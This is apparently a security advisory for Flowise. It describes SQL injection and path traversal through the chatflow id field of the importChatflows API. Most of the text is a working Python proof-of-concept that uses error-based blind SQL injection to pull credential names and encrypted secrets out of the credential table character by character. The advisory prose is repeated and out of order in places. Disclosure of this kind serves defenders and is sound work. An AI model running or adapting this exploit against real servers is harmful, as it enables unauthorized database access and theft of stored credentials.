import functions are vulnerable.
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
It is recommended to limit all chatflow ids & chat ids to UUID.
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as
AllChatflows.json
.but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
AllChatflows.json
file by adding../
and arbitrary path to the chatflow.id of the json file.Issue 2 (Vulnerability Type)
importChatflows API use unsafe SQL Query.
It changes like
SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')
by the code above.When
') {Malicious SQL Query} --
is passed to newChatflow.id, SQL Injection occurs.PoC
poc results: encryptedData from flowise database credential table was successfully leaked.
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
References